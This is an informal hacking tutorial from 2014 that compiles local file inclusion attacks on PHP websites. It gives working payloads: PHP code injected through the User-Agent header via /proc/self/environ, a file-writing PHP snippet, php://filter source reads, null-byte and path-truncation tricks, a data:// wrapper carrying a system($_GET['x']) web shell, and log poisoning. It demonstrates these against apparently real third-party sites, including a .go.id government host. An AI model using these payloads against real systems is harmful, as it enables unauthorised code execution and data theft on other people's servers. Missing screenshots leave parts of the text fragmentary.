In the Name of my God the Most Beneficent and the Merciful

Today I m Posting This Local File inclusion Compilation After My SQLi Tutorials For a Change =)

Here is a Demo Video to get shell using LFI:

1.Getting RCE with LFI Via /proc/self/environ

so First Lets Try getting /etc/passwd to Confirm if its Directory Traversal Attack Or not

../ is used to get into upper(parent) Directory in *nix (Worked !)

Okay so Our Next step , Lets Try Getting /proc/self/environ
aHaN!! Worked

DOCUMENT_ROOT=/home/dprdicom/public_html/smscenterGATEWAY_INTERFACE=CGI/1.1HTTP_ACCEPT=text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8HTTP_ACCEPT_ENCODING=gzip,
 deflateHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5HTTP_CONNECTION=keep-aliveHTTP_HOST=smscenter.dprdbekasikota.go.idHTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:27.0) Gecko/20100101 
Do You See SomeThing like 'HTTP_USER_AGENT=Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:27.0) Gecko/20100101 Firefox/27.0' in /proc/self/environ?
its Could Execute PHP Code When Requested, so Now We gonna Modify User-Agent Field using Live HTTP Headers/Tamper Data to :

<?php phpinfo(); ?>
Yo! It Worked , we Could phpinfo() , but unfortunately We Couldn't Execute system Commands as We Could See in phpinfo's disable_functions All System Functions are Disabled , Still We could Write Files =)) using

<?$file = fopen("./lib/xxx.php","w");fwrite($file,"<?phpinfo()?>");fclose($file);phpinfo();?>

##I Wasn't Able to Write in main directory of Website so Found a dir 'lib' by playing with Google dorks and It Was Writable you Could see ##

Using file_puts_content(); or similar functions

2.Reading Files via LFI [php://filter]

php://filter is a meta-wrapper designed to permit the application of filters to a stream at
the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and
file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior
the contents being read.
We can read configuration/database.php , only PHP files using it

USAGE : php://filter/convert.base64-encode/resource=file name here
So We Gonna Try loading /etc/passwd
Now We See in The Error
 Warning: include(/etc/passwd.php): failed to open stream: No such file or directory in /home/bihtapub/public_html/index.php on line 72
'.php' is there Already For removing This Extension We Use %00 (null byte)
but oH!! Still Error :\

Failed opening '/etc/passwd' , We are unable to load it ...

Lets Try to Read php files once =((
and yes!!

We Loaded index.php of the site

You Could See in The Page Which is Base64 encoded and Could Be Easily Reversed,

so I decoded ::

$gallerymenuquery = mysql_query("select * from tbl_folder");
$galleryfirstitem = mysql_fetch_
We Could See in The Starting lines the location of config file Lets load it
Base64 encoded:
Decoded :

3.When Null bytes Fails or Is Escaped and Couldn't remove extension already there

PHP truncates paths used by filesystem functions, by default, into 4096 bytes So We Remove whatever is left at the end of the path by Filling the buffer

The ideal way to fill the buffer is with "/." strings and this is the string this tutorial will be using (linux server only)
as you could see " include(pages/../../../../../../etc/my.cnf/index.php)"
We need to remove '/index.php' from include() on Using %00 we See it Simply is Escaped

So!! Now We Gonna Fill Up buffer
Due To some Reason IDK I was not able to load /etc/passwd, Strange

[#]Thnx To AntiPaste , HackForums For This buffer filling Method[#]

#if You See Forbidden error on Using ../../ You Could Simply URL Encode them :V and Try#

4.Using data:// wrapper

It Can inject the PHP code you want executed directly into the URL Lets see it:
Usage :: data:text/plain,<?php phpinfo(); ?>

Even it Supports Base64 Encoding

So I Have a Site here =>,<?system($_GET['x']);?>&x=ls
5.Log Poisoning Method

We Use it When /proc/self/environ Doesn't loads,
In order to perform a LFI log poisoning you need to be able to include the apache error or and access logs. Unfortuantly have been made "impossible" in newer versions of apache(the most used web server)

Some Common log Files:=>


Lets say we can include /var/www/logs/access.log.

Now We could Again Follow The Same Method by Modifying User-Agents to Get RCE

I Hope You Liked it =)) Thnx For Watching


Author : Rahul Maini
Date : 2014-08-11